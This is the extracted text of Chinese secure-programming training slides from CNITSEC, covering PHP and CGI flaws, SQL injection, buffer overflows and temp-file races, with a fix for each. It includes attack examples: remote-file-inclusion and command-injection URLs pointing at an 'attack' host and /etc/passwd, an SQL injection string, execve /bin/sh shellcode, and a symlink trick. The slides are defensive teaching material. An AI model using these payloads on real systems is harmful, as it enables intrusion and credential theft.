版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、信息安全技术安全编程,中国信息安全产品测评认证中心(CNITSEC) 版本:CISP-2-安全编程(培训样稿),前言,课程目的: 了解如何安全编程 帮助用户在实际编程中应用上述技术 为什么要安全编程 黑客可利用软件中的安全问题进行攻击,造成经济或者名誉损失 可能造成产品性能不稳定 软件的安全性不好影响客户信心,销售受挫 存在诸多安全问题的原因 现代软件开发周期短,工作量大,无暇顾及安全 软件开发人员缺乏安全编程经验,课程内容,通用安全编程原则 常见Web编程语言的安全编程 C、Asp、Perl、php、Jsp 其他应用程序的安全编程 缓冲区溢出 函数返回值检查 临时文件安全 竞争条件 软件开发
2、过程中的一些安全考虑,通用安全编程原则,什么是一个安全的程序? 简单的说,无论使用何种破坏手段,都可以正确执行自己的既定任务,这样的程序就是安全的程序。 安全程序不应当损害它运行系统的本地安全策略。 程序员职责就是保证程序可以正常执行任务。 锁匠与锁, 屋主与关门 Solaris login的安全问题 什么是安全漏洞? 程序中存在的危害本地安全策略的问题或弱点 大多数是指那些会导致程序强制执行一些不同于作者本来意图的行为 常见安全漏洞类型 缓冲区溢出 竞争条件 输入检查错误 访问控制错误 设计错误,通用安全编程原则,程序只实现你指定的功能 永远不要信任用户输入,对用户输入数据做有效性检查 必须
3、考虑意外情况并进行处理 不要试图在发现错误之后继续执行 尽可能使用安全函数进行编程 小心、认真、细致地编程,Web安全编程,Web CGI编程的常见问题 信息泄漏 泄漏web路径信息 泄漏系统文件内容 泄漏数据库内容 覆盖、重写系统或者数据库数据 执行系统命令 拒绝服务攻击,如何写一个安全的CGI程序,防止缓冲区溢出 小心调用外部命令 特殊字符的过滤 正确使用隐藏变量 使用cookie应注意的问题 提防拒绝服务攻击 使用正确的错误处理机制,CGI 缓冲区溢出,什么是缓冲区溢出? 当向一个固定大小的缓冲区(buffer)中储存超量数据时,就会发生缓冲区溢出(Buffer Overflow) 缓冲
4、区溢出的后果 如果使用随机数据,可能导致程序崩溃 如果精心构造溢出数据,可能改变程序执行流程,允许攻击者执行任意指令 影响语言: C/C+ 典型案例:count.cgi缓冲区溢出漏洞,CGI 外部命令,原则 尽可能不调用外部命令 如果不得不调用,必须检查传递给外部命令的参数是否合法。只允许那些完全符合要求的参数通过。,下表列出了一些常见调用外部命令的函数 表1. C和Perl中可以调用shell的函数. Perl 函数 C 函数 system(.) system() open(| .) popen() exec(.) eval(.),CGI 特殊字符(1),原则 只让我们需要的字符通过检测 不
5、是剔除非法字符而是检查是否在合法字符集内 不止是在调用外部命令时,在任何时候你都应该检查你页面的输入是否合法,当然这种检测没有一定的规律,要视你的CGI功能而定。要特别注意以下这些字符: ; * | exit;else echo $str;?,二、文件打开(2),由于攻击者可以指定任意的$filename,攻击者用如下的请求就可以看到/etc/passwd: http:/victim/test_2.php?filename=./etc/passwd 如下请求可以读php文件本身: http:/victim/test_2.php?filename=./正确目录/test_2.php PHP中文件
6、打开函数还有fopen(), file()等,如果对文件名变量检查不严就会造成服务器重要文件被访问读取。,二、文件打开(3),解决方法 程序员:文件打开函数比较危险,慎用。如果一定要使用就必需严格检查要打开的文件名,绝对不能由用户任意指定。 管理员:如非特殊需要,把php的文件操作限制在web目录里面。修改apache配置文件httpd.conf: php_admin_value open_basedir /usr/local/apache/htdocs,三、包含文件(1),PHP的包含函数有include(), include_once(), require(), require_once。
7、如果对包含文件名变量检查不严就会对系统造成严重危险,可以远程执行命令。 极易受攻击的代码片断:,三、包含文件(2),这种代码会造成系统文件泄漏,攻击者用如下请求可以得到/etc/passwd文件: http:/victim/test_3.php?filename=/etc/passwd 远程包含文件问题 如果对于Unix版的PHP,攻击者可以在自己开了http或ftp服务的机器上建立一个包含shell命令的文件,如http:/attack/attack.txt,其内容是, 那么如下的请求就可以在目标主机执行命令ls /etc: http:/victim/test_3.php?filename=
8、http:/attack/attack.txt,三、包含文件(3),另外一种形式的易受攻击的代码片断: ,三、包含文件(4),攻击者可以在自己的主机建立一个包含执行命令代码的config.php文件,然后用如下请求也可以在目标主机执行命令: http:/victim/test_4.php?lib=http:/attack,三、包含文件(5),解决方法 程序员:包含文件里的参数尽量不要使用变量,如果使用变量,就一定要严格检查要包含的文件名,绝对不能由用户任意指定。 管理员:如前面文件打开中限制PHP操作路径是一个必要的选项。另外,如非特殊需要,关闭Unix版PHP的远程文件打开功能。修改php.
9、ini文件:allow_url_fopen = Off重启apache。,四、命令执行(1),下面的代码片断是从PHPNetToolpack 摘出,详细的描述见: 由于程序没有过滤$a_query变量,所以攻击者可以用分号来追加执行命令。,四、命令执行(2),攻击者输入如下请求可以执行cat /etc/passwd命令: http:/victim/test_5.php?a_query=;cat /etc/passwd PHP的命令执行函数还有system(), passthru(), popen()和等。命令执行函数非常危险,应当慎用。如果要使用一定要严格检查用户输入。,四、命令执行(3),解
10、决方法 程序员:使用escapeshellcmd()函数过滤用户输入的shell命令。 管理员:尽量建议程序员不要使用命令执行函数。如果确实有应用,修改php.ini设置safe_mode=On,只允许执行safe_mode_exec_dir指定目录下的命令。,五、文件上传(1),这是一个最简单的文件上传代码:,五、文件上传(2),文件上传上传文件:,五、文件上传(3),这样的上传代码存在读取任意文件和执行命令的重大问题。 下面的请求可以把/etc/passwd文档拷贝到web目录/usr/local/apache/htdocs/test下的attack.txt文件里: http:/victi
11、m/test_6.php?upload=1 int len = read(buffer); 由于实现无法确定读入的数据长度,上述代码就可能发生缓冲溢出。 在Java中,一般用字符串而不是字符数组保存用户输入。与前面C代码等价的Java代码如下所示: String buffer = in.readLine();,JSP 缓冲区溢出(2),在上面的例子中,“缓冲区”的大小总是和输入内容的大小完全一致。由于Java字符串在创建之后不能改变,缓冲区溢出也就不可能出现。就算用字符数组替代字符串作为缓冲区,Java也不象C那样容易产生可被攻击者利用的安全漏洞。 例如,下面的Java代码将产生溢出: cha
12、r bad = new char6; bad7 = 50; 这段代码总是会产生一个异常:java.lang.ArrayOutOfBoundsException,JSP 缓冲区溢出(3),这种处理过程永远不会导致不可预料的行为。无论用什么方法溢出一个数组,我们总是得到ArrayOutOfBoundsException异常。因此Java运行时底层环境就能够保护自身免受任何侵害。 Java编程模式从根本上改变了用户输入的处理方法,避免了输入缓冲区溢出,从而使得Java程序员摆脱了这种最危险的编程漏洞。,JSP 执行系统命令,Java实现了比较完善的API,很多涉及系统的操作都可以通过这些API完成,
13、例如发送邮件就可以使用JavaMail来完成。但是如果程序员非要使用系统 程序来完成,就可能会存在一些安全问题,例如 Runtime.getRuntime().exec()函数就可以执行系统命令,如果没有对传递进来的数据进行检查,就可能被攻击者利用来执行系统命令。 解决方法:尽量使用Java API来完成相关操作。,JSP SQL注入攻击(1),一段问题代码,String user = request.getAttribute(“username”); String pass = request.getAttribute(“password”); String query = “SELECT
14、id FROM users WHERE username=”+user+“ AND password=”+pass; Statement stmt = con.createStatement(query); ResultSet rs = con.executeQuery(query);if (rs.next()/ 登录成功 . else / 登录失败 .,JSP SQL注入攻击(2),如果用户输入的查询条件中,用户名字等于“test”,密码等于“123”,则系统执行的查询实际上是: SELECT id FROM users WHERE username=test AND password=12
15、3 这个查询能够正确地对用户名字和密码进行检查。 但是,如果用户输入的查询条件中,名字等于“test AND (a=b”,密码等于“blah) OR a=a”,此时系统执行的查询变成了: SELECT id FROM users WHERE username=test AND (a=b AND password=blah) OR a=a,JSP SQL注入攻击(3),使用下面的代码可以解决SQL注入攻击的问题,String user = request.getAttribute(username); String pass = request.getAttribute(password); S
16、tring query = SELECT id FROM users WHERE username=? AND password=?; PreparedStatement stmt = con.prepareStatement(query); stmt.setString(1, user); stmt.setString(2, pass); ResultSet rs = stmt.executeQuery();,其他应用程序的安全编程,缓冲区溢出 函数返回值检查 临时文件安全 竞争条件,缓冲区溢出,缓冲区(buffer):用于临时存储数据的一段内存区域 溢出(overflow): 数据过长导致
17、无法存储在预期区域内 边界检查(Boundary Check):在向缓冲区中存储数据时,确定数据长度是否会超出缓冲区边界,缓冲区溢出 - 术语(2),堆栈(Stack):一段内存区域,用来临时存储信息,后进先出。通常用来保存函数调用现场、局部变量。 堆(Heap):应用程序动态分配的内存区域 BSS区: 初始数据全为零,保存未初始化的静态变量 函数返回地址:函数执行完毕返回时要去执行的下一条指令的地址。,缓冲区溢出 术语(3),Shellcode: 通常指攻击者精心构造的一段汇编代码,在溢出攻击时会诱使程序执行这段代码。,char shellcode = xebx1fx5ex89x76x08x
18、31xc0 x88x46x07x89x46x0cxb0 x0b x89xf3x8dx4ex08x8dx56x0cxcdx80 x31xdbx89xd8x40 xcd x80 xe8xdcxffxffxff/bin/sh;,缓冲区溢出 内存布局,栈底,栈顶,高地址端,低地址端,SP,内存布局示意图,缓冲区溢出攻击的途径,攻击设置了suid/sgid属性的本地程序 攻击存在缓冲区溢出问题的网络服务或者客户端程序,Set-USER-ID和Set-Group_ID 属性,chmod ug+s cmd 在cmd程序执行时,它的有效用户ID和组ID被设置成cmd文件的属主和属组 这个属性允许普通用户访问某
19、些受限文件或者执行某些受限操作。 -r-s-x-x 1 root root 13536 Jul 12 2000 /usr/bin/passwd*,缓冲区溢出分类,基于堆栈的缓冲区溢出 覆盖函数返回地址 覆盖ebp内容(单字节溢出) 基于堆或者BSS的缓冲区溢出 覆盖重要数据结构,例如函数指针、覆盖文件名、保存的uid、保存的口令等等 覆盖动态分配内存之间的管理数据结构(free/malloc) 格式串溢出,基于堆栈的缓冲区溢出,堆栈中的数据,栈底,SP,正常的堆栈分布,攻击者调用一个函数后,堆栈内容:,堆栈中的数据,栈底,返回地址,SP,其他数据,例如 函数的局部变量,n bytes,4 by
20、tes,如果这个函数发生了溢出,堆栈中的数据,栈底,新的返回地址,SP,其它被覆盖的数据,n bytes,4 bytes,某些数据可能已经被覆盖了,攻击者提供的shellcode 例如,一段执行 execve(/bin/sh)的机器码,一个典型的问题程序,void function(char *str) char buffer16; strcpy(buffer,str); void main(int argc, char *argv) if(argc 1 ) function(argv1); ,执行结果,w3RedHat72 w3$ gcc -o vul vul.c w3RedHat72 w3
21、$ gdb ./vul -q (gdb) r perl -e print Ax28BBBB Starting program: /home/w3/./vul perl -e print Ax28BBBB Program received signal SIGSEGV, Segmentation fault. 0 x42424242 in ? () (gdb) i r eax 0 xbffffc60 -1073742752 ecx 0 x564eff41 1448017729 edx 0 x57500042 1464860738 ebx 0 x40162154 1075192148 esp 0
22、xbffffc80 0 xbffffc80 ebp 0 x41414141 0 x41414141 esi 0 x400168e4 1073834212 edi 0 xbffffd04 -1073742588 eip 0 x42424242 0 x42424242 .,堆栈缓冲区溢出攻击的方法,栈底,新的返回地址,SP,堆栈中的数据,n bytes,4 bytes,攻击者提供的shellcode 例如,一段执行 execve(/bin/sh)的机器码,Buffer16,0 x42424242,shellcode,Nop,缓冲区溢出的后果,攻击者可以使远程服务程序或者本地程序崩溃 攻击者可以以被
23、攻击的程序运行时的身份执行任意代码。如果该程序以特权用户身份运行,攻击者可以远程或者本地提升权限。,缓冲区溢出漏洞存在的原因,开发者没有进行边界检查 开发者缺乏安全编程的意识 认为分配的内存通常足够使用了 使用不安全的数据拷贝函数 strcpy,strcat,gets, sprintf, 开发者没有进行正确的边界检查 错误的使用一些“安全”拷贝函数也可能会导致缓冲区溢出,例如 memcpy(dest, src, strlen(src),阻止缓冲区溢出的方法,不使用不安全的数据拷贝函数 在往缓冲区中填充数据时必须进行边界检查。 尽量动态分配内存以存储数据,不要使用固定大小的缓冲区 程序尽量不设置
24、suid/sgid属性,阻止缓冲区溢出的方法,使堆栈不可执行 Solaris Designer的不可执行堆栈补丁(Linux),使Linux系统代码段和数据段的虚拟空间的地址不再重叠 Sun Solaris 不可执行堆栈保护(/etc/system) set noexec_user_stack = 1 set noexec_user_stack_log = 1,阻止缓冲区溢出的方法,使用检测活动记录改变的编译器 StackGuard 在返回地址前面增加字符串中止符号或者随机数据,检测是否被修改 StackShield 创建一个特别的堆栈用来储存函数返回地址的一份拷贝。它在受保护的函数的开头和结
25、尾分别增加一段代码,开头处的代码用来将函数返回地址拷贝到一个特殊的表中,而结尾处的代码用来将返回地址从表中拷贝回堆栈。,函数返回值检查(1),没有对函数返回值进行检查可能带来一些安全问题:,char maketemp() char *name = /tmp/tempfile; creat(name, 0644); chown(name, 0, 0); return name; ,函数返回值检查(2),让我们来看例子中相关的返回值.如果攻击者拷贝/bin/sh为/tmp/tempfile, 并设置setuid属性。由于文件已经存在,creat()函数将不能成功执行, 但creat()的返回值没有
26、被检查,程序仍将继续执行。接下来,程序会改变文件的属主为ROOT,并向攻击者一个setuid ROOT SHELL,提供超级用户访问权限。 解决方法: 严格检查函数返回值,并做错误处理。,临时文件安全(1),很多安全漏洞发生在访问已知文件名或可猜测的临时文件时。常见的情况是,程序在一个临时目录中打开一个文件,然后就将数据写到文件中,然而,如果攻击者预先创建一个符号链接,将这个临时文件指向其他文件,就有可能将数据写到那些文件中。 这种类型的攻击往往发生在下面2种情况下: 1.一个有特权的程序可以被攻击者执行. 2.攻击者期望系统上其他用户执行一已经知道有临时文件处理问题的非特权程序,临时文件安全
27、(2),假设问题程序会在系统临时目录下打开一个文件: /tmp/program.temp 攻击者可以在程序执行前创建一个符号链接,将这个临时文件指向其他特殊文件,比如/etc/passwd: ln -s /etc/passwd /tmp/program.temp 当程序写数据到文件的时候,由于符号链接的作用,实际上写到了/etc/passwd中,如果写的数据能被攻击者控制,那就可能获得ROOT的权限。,临时文件安全(3),解决方法 1. 不要在/tmp建立临时文件. 2. 如果要建立临时文件,其名字必须随机或者不可猜测. 3. 在往文件中写入数据之前,检查文件是否已经存在。 open(filename, O_WRONLY | O_CREAT | O_EXCL, 0644) 4. 利用一系统提供的接口(mkstemp()来建立临时文件.,文件竞争条件问
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2026散装糖果原料市场趋势与投资风险评估报告
- 2026中国医药冷链物流体系建设现状及市场机遇分析报告
- 2026年二手车市场消费信心与车况信任构建
- 2026年老年人春季养肝护肝中医知识讲座
- 深圳市2025年7月广东深圳市大鹏新区科技创新和经济服务局招聘编外人员1人笔试历年参考题库典型考点附带答案详解
- 海淀区2025北京海淀区事业单位招聘178人笔试历年参考题库典型考点附带答案详解
- 海南省2025海南省交通工程建设局考核招聘公路工程科研岗劳动合同制人员1人笔试历年参考题库典型考点附带答案详解
- 浙江省2025浙江省专用通信局招录后勤服务编制人员3人笔试历年参考题库典型考点附带答案详解
- 浏阳市2025湖南长沙浏阳市引进党政机关高层次人才20人笔试历年参考题库典型考点附带答案详解
- 济南市2025山东济南市委办公厅发布引才(3人)笔试历年参考题库典型考点附带答案详解
- 高中团课考试题目及答案
- 2024年医药代表专业技能提升培训方案
- 深静脉血栓形成临床路径标准流程
- 《新媒体营销》案例 JELLYCAT
- 润燥止痒胶囊的作用
- 动态轴重称施工方案
- 2025年保安考试1000道及答案
- 2025重庆市红十字会医院(江北区人民医院)招聘考试参考题库及答案解析
- 公共场所卫生检验方法 第2部分:化学性指标-编制说明
- 商务数据分析师国家职业标准(2024版)
- 湖北省武汉市华中师大一附中2026届中考语文对点突破模拟试卷含解析
评论
0/150
提交评论